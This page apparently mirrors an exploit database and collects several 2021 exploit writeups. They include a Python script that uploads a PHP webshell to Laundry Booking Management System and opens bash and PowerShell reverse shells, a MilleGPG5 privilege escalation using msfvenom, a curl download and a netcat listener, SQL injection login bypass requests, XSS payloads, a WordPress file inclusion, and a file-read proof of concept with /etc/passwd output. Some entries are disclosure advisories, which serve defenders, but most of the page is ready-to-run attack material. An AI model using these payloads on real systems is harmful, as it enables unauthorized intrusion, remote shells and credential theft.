Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863118779

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Laundry Booking Management System 1.0 - Remote Code Execution (RCE)
# Date: 29/11/2021
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/laundry_sourcecode.zip
# Version: 1.0
# Tested on: Windows 7 and Ubuntu 21.10

# Vulnerability: Its possible create an user without being authenticated,
# in this request you can upload a simple webshell which will used to get a
# reverse shell

import re, sys, argparse, requests, time, os
import subprocess, pyfiglet

ascii_banner = pyfiglet.figlet_format("Laundry")
print(ascii_banner)
print("      Booking Management System\n")
print("----[Broken Access Control to RCE]----\n")


class Exploit:

    def __init__(self,target, shell_name,localhost,localport,os):

        self.target=target
        self.shell_name=shell_name
        self.localhost=localhost
        self.localport=localport
        self.LHL= '/'.join([localhost,localport])
        self.HPW= "'"+localhost+"'"+','+localport
        self.os=os
        self.session = requests.Session()
        #self.http_proxy  = "http://127.0.0.1:8080"
        #self.https_proxy = "https://127.0.0.1:8080"
        #self.proxies = {"http"  : self.http_proxy,
        #           "https" : self.https_proxy}

        self.headers= {'Cookie': 'PHPSESSID= Broken Access Control'}

    def create_user(self):

        url = self.target+"/pages/save_user.php"
        data = {
                "fname":"bypass",
                "email":"bypass@bypass.com",
                "password":"password",
                "group_id": "2",

            }

         #Creates user "bypass" and upload a simple webshell without authentication
        request = self.session.post(url,data=data,headers=self.headers,files={"image":(self.shell_name +'.php',"<?=`$_GET[cmd]`?>")})
        time.sleep(3)
        if (request.status_code == 200):
            print('[*] The user and webshell were created\n')
        else:
            print('Something was wront...!')

    def execute_shell(self):
        if self.os == "linux":
            time.sleep(3)
            print("[*] Starting reverse shell\n")
            subprocess.Popen(["nc","-nvlp", self.localport])
            time.sleep(3)

            #Use a payload in bash to get a reverse shell
            payload = 'bash+-c+"bash+-i+>%26+/dev/tcp/'+self.LHL+'+0>%261"'
            execute_command = self.target+'/uploadImage/Profile/'+self.shell_name+'.php?cmd='+payload

            try:
                request_rce = requests.get(execute_command)
                print(request_rce.text)

            except requests.exceptions.ReadTimeout:
                pass

        elif self.os == "windows":
            time.sleep(3)
            print("[*] Starting reverse shell\n")
            subprocess.Popen(["nc","-nvlp", self.localport])
            time.sleep(3)

            #Use a payload in powershell to get a reverse shell
            payload = """powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient("""+self.HPW+""")%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0)
{%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()"""""
            execute_command = self.target+'/uploadImage/Profile/'+self.shell_name+'.php?cmd='+payload


            try:
                request_rce = requests.get(execute_command)
                print(request_rce.text)

            except requests.exceptions.ReadTimeout:
                pass

        else:
            print('Windows or linux')


def get_args():
    parser = argparse.ArgumentParser(description='Laundry Booking Management System')
    parser.add_argument('-t', '--target', dest="target", required=True,
action='store', help='Target url')
    parser.add_argument('-s', '--shell_name', dest="shell_name",
required=True, action='store', help='shell_name')
    parser.add_argument('-l', '--localhost', dest="localhost",
required=True, action='store', help='local host')
    parser.add_argument('-p', '--localport', dest="localport",
required=True, action='store', help='local port')
    parser.add_argument('-os', '--os', choices=['linux', 'windows'],
dest="os", required=True, action='store', help='linux,windows')
    args = parser.parse_args()
    return args

args = get_args()
target = args.target
shell_name = args.shell_name
localhost = args.localhost
localport = args.localport


xp = Exploit(target, shell_name,localhost,localport,args.os)
xp.create_user()
xp.execute_shell()

#Example software vulnerable installed in windows:python3 exploit.py -t http://IP/path -s rce -l 192.168.1.128 -p 443 -os windows
#Example software vulnerable installed in linux: python3 exploit.py -t http://IP/path -s rce -l 192.168.1.128 -p 443 -os linux
            
# Exploit Title: Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting
# Date: 2021-08-31
# Exploit Author: Tushar Jadhav
# Vendor Homepage:  https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Version: 1.0
# Tested on: Windows 11
# Contact: https://www.linkedin.com/in/tushar-jadhav-7a43b4171/
# CVE: CVE-2021-40577

=============================================================================================================================

Stored Cross-site scripting(XSS):

Stored attacks are those where the injected script is permanently stored on
the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it
requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.

==============================================================================================================================

Attack vector:

This vulnerability can result in the attacker can injecting the XSS payload
in the User Registration section. Each time the admin login or basic user
Login in the admin panel, the XSS triggers and attacker can able to steal
the cookie according to the crafted payload.

===============================================================================================================================

Vulnerable Parameters: Name

===============================================================================================================================

Steps for reproducing:

1. Go to add users section
2. fill in the details. & put <script>alert(document.cookie)</script>
payload in Name parameter.
3. Once we click on save, We can see the XSS has been triggered.

================================================================================================================================

Request :

POST /onlineenrolmentsystem/admin/user/controller.php?action=add HTTP/1.1
Host: 192.168.1.205:81
Content-Length: 133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.205:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.1.205:81/onlineenrolmentsystem/admin/user/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=uonlna5pmhqh9shnj8t6oqc2g3
Connection: close

deptid=&U_NAME=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E&deptid=&U_USERNAME=test&deptid=&U_PASS=root&U_ROLE=Registrar&save=

===================================================================================================================================
            
# Exploit Title: MilleGPG5 5.7.2 Luglio 2021 (x64) - Local Privilege Escalation
# Date: 2021-07-19
# Author: Alessandro 'mindsflee' Salzano
# Vendor Homepage: https://millegpg.it/
# Software Homepage: https://millegpg.it/
# Software Link: https://www.millegpg.it/download/MilleGPGInstall.exe
# Version: 5.7.2
# Tested on: Microsoft Windows 10 Enterprise x64

MilleGPG5 is a Class 1 Medical Device registered with "Ministero della Salute".

Vendor: Millennium S.r.l. / Dedalus Group / Dedalus Italia S.p.a.

Affected version: MilleGPG5 5.7.2

# Details
# By default the Authenticated Users group has the modify permission to MilleGPG5 folders/files as shown below.
# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing these services:

C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe
C:\Program Files\MilleGPG5\GPGService.exe


    Details:


SERVICE_NAME: MariaDB-GPG
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program
Files\MilleGPG5\MariaDB\bin\mysqld.exe" MariaDB-GPG
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MariaDB-GPG
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

------

SERVICE_NAME: GPGOrchestrator
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\MilleGPG5\GPGService.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : GPG Orchestrator
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

(2) Folder permissions.
Insecure folders permissions issue:


C:\Program Files\MilleGPG5\MariaDB\bin BUILTIN\Users:(I)(OI)(CI)(F)
                                       NT SERVICE\TrustedInstaller:(I)(F)
                                       NT
SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                       NT AUTHORITY\SYSTEM:(I)(F)
                                       NT
AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                       CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                       APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                       APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                       APPLICATION PACKAGE
AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                       APPLICATION PACKAGE
AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                ...[SNIP]...
---------------

C:\Program Files\MilleGPG5 BUILTIN\Users:(OI)(CI)(F)
                           NT SERVICE\TrustedInstaller:(I)(F)
                           NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                           NT AUTHORITY\SYSTEM:(I)(F)
                           NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                           BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                           BUILTIN\Users:(I)(RX)
                           BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                           CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                           APPLICATION PACKAGE AUTHORITY\ALL
APPLICATION PACKAGES:(I)(RX)
                           APPLICATION PACKAGE AUTHORITY\ALL
APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
APPLICATION PACKAGES:(I)(RX)
                           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)


                                # Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start

3. Download malicious .exe on victim machine
    type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Program Files\MilleGPG5\MariaDB\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
    Renename C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe > mysqld.bak
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system
            
# Exploit Title: Online Pre-owned/Used Car Showroom Management System 1.0 -  SQLi Authentication Bypass
# Date: 01-12-2021
# Exploit Author: Mohamed habib Smidi (Craniums)
# Vendor Homepage: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/used_car_showroom.zip
# Version: 1.0
# Tested on: Ubuntu

# Description :

Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.

# Request :

POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/used_car_showroom/admin/login.php
Cookie: PHPSESSID=v0h6049m9ppunsh8vtfc8oj4p5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


username='+or+1%3D1+limit+1+--+-%2B&password=aaaa

--
            
# Exploit Title: WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI) 
# Exploit Author: Mohamed Magdy Abumusilm Aka m19o 
# Software: All-in-One Video Gallery plugin 
# Version: <= 2.4.9
# Tested on: Windows,linux 

Poc: https://example.com/wordpress/wp-admin/admin.php?page=all-in-one-video-gallery&tab=../../../../../poc

Decription : Authenticated user can exploit LFI vulnerability in tab parameter.

Vulnerable code block : https://i.ibb.co/hXRcSQp/1123.png

You can find a writeup at my blog : https://m19o.github.io/posts/How-i-found-my-first-0day/
            
# Exploit Title: Online Magazine Management System 1.0 -  SQLi Authentication Bypass
# Date: 01-12-2021
# Exploit Author: Mohamed habib Smidi (Craniums)
# Vendor Homepage: https://www.sourcecodester.com/php/15061/online-magazine-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/magazines_0.zip
# Version: 1.0
# Tested on: Ubuntu


# Description :

Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.

# Request :

POST /magazines/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/magazines/admin/login.php
Cookie: PHPSESSID=863plvf7rpambpkmk2cipijgra
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


username='+or+1%3D1+limit+1+--+-%2B&password=aaaa
            
# Exploit Title: WordPress Plugin Slider by Soliloquy 2.6.2 - 'title' Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 02/12/2021
# Exploit Author: Abdurrahman Erkan (@erknabd)
# Vendor Homepage: https://soliloquywp.com/
# Software Link: https://wordpress.org/plugins/soliloquy-lite/
# Version: 2.6.2
# Tested on: Kali Linux 2021 - Firefox 78.7, Windows 10 - Brave 1.32.113, WordPress 5.8.2

# Proof of Concept:
#
# 1- Install and activate the Slider by Soliloquy 2.6.2 plugin.
# 2- Open Soliloquy and use "Add New" button to add new post.
# 3- Add payload to title. Payload: <script>alert(document.cookie)</script>
# 4- Add any image in post.
# 5- Publish the post.
# 6- XSS has been triggered.
#
# Go to this url "http://localhost/wp-admin/post.php?post=1&action=edit" XSS will trigger. - For wordpress users.
# Go to this url "http://localhost/?post_type=soliloquy&p=1" XSS will trigger. - For normal users.
            
# Exploit Title: WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/dzs-zoomsounds/
# Date: 2/12/2021
# Exploit Author: Uriel Yochpaz
# Vendor Homepage: https://digitalzoomstudio.net/docs/wpzoomsounds/
# Software Link: 
# Version: 1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30, 2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10, 3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03, 5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45
# Tested on: Linux (DZS Zoomsounds version 5.82)
# CVE : CVE-2021-39316

The vulnerability allows a remote attacker to perform directory traversal attacks.
The vulnerability exists due to input validation error when processing directory traversal sequences in the "link" parameter in the "dzsap_download" action. A remote attacker can send a specially crafted HTTP request and read arbitrary files on the system.

Mitigation:
Install update from vendor's website.

Vulnerable software versions ZoomSounds: 
1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30,
2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10,
3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03,
5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45

PoC:
user@ubuntu:~$ curl "http://localhost/MYzoomsounds/?action=dzsap_download&link=../../../../../../../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
            
# Exploit Title: Auerswald COMfortel 2.8F - Authentication Bypass
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH
# Version: 1400/2600/3600

Advisory: Auerswald COMfortel 1400/2600/3600 IP Authentication Bypass


RedTeam Pentesting discovered a vulnerability in the web-based
configuration management interface of the Auerswald COMfortel 1400 and
2600 IP desktop phones. The vulnerability allows accessing configuration
data and settings in the web-based management interface without
authentication.


Details
=======

Product: Auerswald COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP
Affected Versions: <= 2.8F
Fixed Versions: 2.8G (for COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP)
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: https://www.auerswald.de
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-004
Advisory Status: published
CVE: CVE-2021-40856
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40856


Introduction
============

"The COMfortel 2600 IP is an Android-based hybrid VoIP telephone (SIP and
IP system phone), with 4.3" colour touch display and preconfigured
answering machine"

(from the vendor's homepage)


More Details
============

During a penetration test it was discovened that several VoIP phones
(COMfortel 2600 and 1400 IP) by the manufacturer Auerswald allow
accessing administrative functions without login credentials, bypassing
the authentication. This can be achieved by simply prefixing API
endpoints that require authentication with "/about/../", since the
"/about" endpoint does not require any authentication.


Proof of Concept
================

The phones run a web-based management interface on Port 80. If accessed,
the HTTP response code 401 together with a website redirecting to the
path "/statics/pageChallenge.html" is returned. This can for example be
seen using the command-line HTTP client curl[1] as follows:

------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/'
HTTP/1.1 401 Unauthorized
[...]

<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
URL=/statics/pageChallenge.html'></head><body></body></html>
------------------------------------------------------------------------

The website contains JavaScript code that requests the path
"/about?action=get" and loads a JSON document (formatted and shortened
to increase readability):

------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/about?action=get'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 3673
Date: Mon, 30 Aug 2021 08:39:24 GMT
Server: lighttpd

{
  "DATA": {
    "firmware": {
      "TYPE": "DATAITEM",
      "VALUE": "2.8E",
      "KEY": "firmware"
    },
    "serial": {
      "TYPE": "DATAITEM",
      "VALUE": "1234567890",
      "KEY": "serial"
    },
    [...]
  }
}

------------------------------------------------------------------------

Among other information, this JSON document contains the serial number
and firmware version displayed on the website. This action can be
accessed without authentication. Other endpoints require authentication,
for example the path "/tree?action=get", from which the menu structure
is loaded after successful authentication:

------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/tree?action=get'
HTTP/1.1 401 Unauthorized
[...]

<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
URL=/statics/pageChallenge.html'></head><body></body></html>
------------------------------------------------------------------------

During the penetration test, it was discovered that this action can
successfully be requested by inserting the prefix "/about/../". In order
to prevent curl from normalizing the URL path, the option "--path-as-is"
must be supplied:

------------------------------------------------------------------------
$ curl --include --path-as-is \
  'http://192.168.1.190/about/../tree?action=get'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 3808
Date: Mon, 30 Aug 2021 08:42:11 GMT
Server: lighttpd

{
  "TYPE": "TREENODEPAGE",
  "ITEMS": {
    "COUNT": 2,
    "TYPE": "ITEMLIST",
    "1": {
      "id": 31,
      "text": "applications_settings",
      "TYPE": "TREENODEPAGE",
      "ITEMS": {
        "COUNT": 1,
        "TYPE": "ITEMLIST",
        "0": {
          "target": "pageFunctionkeys.html",
          "id": 32,
          "action": "/functionkeys",
          "text": "key_app",
          "pagename": "Functionkeys",
          "TYPE": "TREENODEPAGE"
        }
      }
    },
    [...]
  }
}
------------------------------------------------------------------------

The endpoint "/account" allows listing account data:

------------------------------------------------------------------------
$ curl --include --path-as-is \
  'http://192.168.1.190/about/../account?action=list'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 793
Date: Mon, 30 Aug 2021 08:43:33 GMT
Server: lighttpd

{
  "DATA": {
    [...]
    "accountList0": {
      "KEY": "accountList0",
      "COUNT": 1,
      "TYPE": "DATAMODEL",
      "VALUE": {
        "0": {
          "ID": 32327,
          "PARENTID": 0,
          "PROVIDER": "ProviderName",
          "NAME": "123 Example User",
          "STATUS": 4,
          "DEFAULT": 1
        }
      },
      [...]
    },
  }
}
------------------------------------------------------------------------

The ID 32327 can then be used to get details about that particular
account, including the username and password:

------------------------------------------------------------------------
$ curl --include --path-as-is \
  'http://192.168.1.190/about/../account?action=get&itemID=32327'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 2026
Date: Mon, 30 Aug 2021 08:44:13 GMT
Server: lighttpd

{
  "DATA": {
    [...]
    "Benutzer": {
      "TYPE": "DATAITEM",
      "VALUE": "123",
      "KEY": "Benutzer"
    },
    "Passwort": {
      "TYPE": "DATAITEM",
      "VALUE": "secret",
      "KEY": "Passwort"
    },
    [...]
  }
}
------------------------------------------------------------------------

Using a script for Zed Attack Proxy[2], RedTeam Pentesting managed to
access and use the web-based management interface as if regular login
credentials were presented.

It is likely that other functionality can be accessed in the same way,
to for example change settings or activate the integrated option for
recording the Ethernet traffic.


Workaround
==========

Disable the web-based management interface if possible.


Fix
===

Upgrade to a firmware version which corrects this vulnerability.


Security Risk
=============

Inserting the prefix "/about/../" allows bypassing the authentication
check for the web-based configuration management interface. This enables
attackers to gain access to the login credentials used for
authentication at the PBX, among other data.

Attackers can then authenticate at the PBX as the respective phone and
for example call premium rate phone lines they operate to generate
revenue. They can also configure a device they control as the PBX in the
phone, so all incoming and outgoing phone calls are intercepted and can
be recorded. The device also contains a function to record all Ethernet
data traffic, which is likely affected as well.

Overall, the vulnerability completely bypasses the authentication for
the web-based management interface and therefore poses a high risk.


References
==========

[1] https://curl.se
[2] https://github.com/zaproxy/zaproxy/

Timeline
========

2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-04 Vendor provides access to device with fixed firmware
2021-10-05 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-10-14 Vendor releases corrected firmware version 2.8G
2021-12-06 Advisory published


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/


-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
            
# Exploit Title: HCL Lotus Notes V12- Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: V12
# Date: 01/12/2021
# Vendor Homepage: https://www.hcltechsw.com/domino/download
# Tested on: Windows 10


ProcessId   : 3860
Name        : LNSUSvc
DisplayName : HCL Notes Smart Upgrade Hizmeti
PathName    : c:\HCL\Notes\SUService.exe
StartName   : LocalSystem
StartMode   : Auto
State       : Running

Discovery
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """


#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
            
# Exploit Title: Auerswald COMpact 8.0B - Arbitrary File Disclosure
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH

Advisory: Auerswald COMpact Arbitrary File Disclosure


RedTeam Pentesting discovered a vulnerability in the web-based
management interface of the Auerswald COMpact 5500R PBX which allows
users with the "sub-admin" privilege to access any files on the PBX's
file system.


Details
=======

Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact  4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
Fixed Versions: 8.2B
Vulnerability Type: Arbitrary File Disclosure
Security Risk: medium
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-006
Advisory Status: published
CVE: CVE-2021-40858
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40858


Introduction
============

"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.

Continuous maintanance and expansion of the system software makes this
